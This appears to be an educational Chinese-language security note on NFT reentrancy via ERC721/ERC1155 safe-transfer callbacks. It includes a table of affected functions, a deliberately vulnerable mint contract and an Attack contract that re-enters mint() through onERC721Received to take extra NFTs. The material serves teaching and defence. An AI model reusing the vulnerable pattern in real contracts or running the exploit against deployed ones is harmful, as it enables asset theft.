---
title: 11.NFTReentrancy
---

# Summary

尽管NFT标准（ERC721/ERC1155）为了防止用户误把资产转入黑洞而加入了安全转账，但是如果转入地址为合约，则会调用该地址相应的检查函数，确保它已准备好接收NFT资产。
例如 ERC721 的 safeTransferFrom() 函数会调用目标地址的 onERC721Received() 函数，而黑客可以把恶意代码嵌入其中进行攻击。

# 危险函数表
| Standard | Vulnerablefunction                  |
| -------- | ----------------------------------- |
| ERC721   | safeTransferFrom                    |
|          | _safeTransfer                       |
|          | _safeMint                           |
|          | _checkonERC721Received              |
| ERC1155  | safeTransferFrom                    |
|          | _safeTransferFrom                   |
|          | safeBatchTransferFrom               |
|          | _safeBatchTransferFrom              |
|          | _mint                               |
|          | _mintBatch                          |
|          | _doSafeTransferAcceptanceCheck      |
|          | _doSafeBatchTransferAcceptanceCheck |


# Example
Code from [WTF](https://github.com/AmazingAng/WTF-Solidity/blob/main/S16_NFTReentrancy/readme.md)

```solidity title="NFT.sol"
contract NFTReentrancy is ERC721 {
    uint256 public totalSupply;
    mapping(address => bool) public mintedAddress;
    // 构造函数，初始化NFT合集的名称、代号
    constructor() ERC721("Reentry NFT", "ReNFT"){}

    // 铸造函数，每个用户只能铸造1个NFT
    // 有重入漏洞
    function mint() payable external {
        // 检查是否mint过
        require(mintedAddress[msg.sender] == false);
        // 增加total supply
        totalSupply++;
        // mint
        _safeMint(msg.sender, totalSupply);
        // 记录mint过的地址
        mintedAddress[msg.sender] = true;
    }
}
```

```solidity title="Attack.sol"
contract Attack is IERC721Receiver{
    NFTReentrancy public nft; // 有漏洞的nft合约地址

    // 初始化NFT合约地址
    constructor(NFTReentrancy _nftAddr) {
        nft = _nftAddr;
    }
    
    // 攻击函数，发起攻击
    function attack() external {
        nft.mint();
    }

    // ERC721的回调函数，会重复调用mint函数，铸造10个
    function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
        if(nft.balanceOf(address(this)) < 10){
            nft.mint();
        }
        return this.onERC721Received.selector;
    }
}
```